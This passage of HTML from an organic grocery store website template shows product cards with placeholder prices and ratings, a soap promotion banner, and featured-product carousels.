                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/12.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Strawberry Juice</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$20.00</span> 
                                            <span class="old-price">$28.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/13.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/13.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Green Pee's</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$50.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/14.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/14.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Onion</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$50.00</span> 
                                            <span class="old-price">$80.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/15.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/15.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Juicy Orange</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$44.00</span> 
                                            <span class="old-price">$47.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/9.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/9.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Cucumber</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$86.00</span> 
                                            <span class="old-price">$92.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/12.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/12.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Strawberry Juice</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$20.00</span> 
                                            <span class="old-price">$28.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/13.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/13.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Green Pee's</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$50.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/10.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/10.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Grape</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$43.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/11.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/11.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Farm's Cucumber</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$34.00</span> 
                                            <span class="old-price">$37.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/16.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/16.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Kiwi Juice</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$33.00</span> 
                                            <span class="old-price">$37.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- Protuct Area End -->
        <!-- Banner Area Start -->
        <div class="banner-area banner-one-area bg-2 fix pt-60 pb-80">
            <div class="container">
                <div class="row">
                    <div class="col-lg-6 d-flex align-items-center">
                        <div class="banner-text pt-15">
                            <h3>Cold Process <span>Organic</span></h3>
                            <h1>Savon Stories</h1>
                            <h2>
                                <img src="assets/img/icon/mark.png" alt="">
                                <span>Buy 1 get 1 free</span>
                            </h2>
                            <p>Typi non habent claritatem insitam, est usus legentis in iis qui facit eorum claritatem. Investigationes demonstraverunt lectores legere me lius quod ii legunt saepius.</p>
                            <a href="shop.html" class="default-btn">shop now</a>
                        </div>
                    </div>
                    <div class="col-lg-6">
                        <div class="banner-image-wrapper">
                            <div class="banner-image">
                                <img src="assets/img/banner/1.jpg" alt="">
                            </div>
                            <div class="banner-image-text">
                                <h4>organic savon stories</h4>
                                <p>We believe that healthy eating, clean air, and gentle character is the best start to genuine wellbeing.</p>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- Banner Area End -->
        <!-- Featured Area Start -->
        <div class="featured-area bg-3 pt-105 pb-90">
            <div class="container">
                <div class="row">
                    <div class="col-lg-4 col-md-6">
                        <div class="featured-carousel-wrapper">
                            <h3>Organic <span>new arrivals</span></h3>
                            <div class="feaured-carousel">
                                <div class="single-featured-carousel">
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/4.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Radiant Tee</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$241.99</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/17.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Farm Fresh Beet</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$98.99</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/7.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Orange Juice</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$68.00</span> 
                                                <span class="old-price">$74.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/15.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Orange</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$123.00</span> 
                                                <span class="old-price">$74.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                                <div class="single-featured-carousel">
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/1.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Juicy Grape</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$675.99</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/2.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Banana</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$76.53</span> 
                                                <span class="old-price">$78.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/3.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Red Capsicum</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$43.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/5.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Large Onion</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$22.00</span> 
                                                <span class="old-price">$23.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                                <div class="single-featured-carousel">
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/6.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Large Coconut</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$54.56</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/7.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Orange Juice</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$43.43</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/8.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Juicy Pineapple</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$43.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/9.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Cucumber</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$32.00</span> 
                                                <span class="old-price">$36.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-lg-4 col-md-6">
                        <div class="featured-carousel-wrapper">
                            <h3>Organic <span>bestseller</span></h3>
                            <div class="feaured-carousel">
                                <div class="single-featured-carousel">
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/10.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                            </div>
                                            <h5><a href="shop.html">Juicy Grapes</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$64.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/12.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Farm Fresh Juice</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$54.54</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/13.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Peas</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$45.00</span> 
                                                <span class="old-price">$46.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/14.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Onion</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$34.00</span> 
                                                <span class="old-price">$35.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                                <div class="single-featured-carousel">
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/16.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Kewe's Juice</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$53.43</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/18.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Vegetables</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$43.00</span> 
                                                <span class="old-price">$58.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/19.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                            </div>
                                            <h5><a href="shop.html">Red Tomato</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$67.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/1.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Large Grapes</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$55.00</span> 
                                                <span class="old-price">$57.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                                <div class="single-featured-carousel">
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/2.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Banana</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$65.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/3.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Red Capsicum</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$54.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/5.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Farm's Onion</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$54.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/9.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Cucumber</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$32.00</span> 
                                                <span class="old-price">$36.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-lg-4 col-md-6">
                        <div class="featured-carousel-wrapper">
                            <h3>Organic <span>most viewed</span></h3>
                            <div class="feaured-carousel">
                                <div class="single-featured-carousel">
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/5.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Farm's Onion</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$54.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
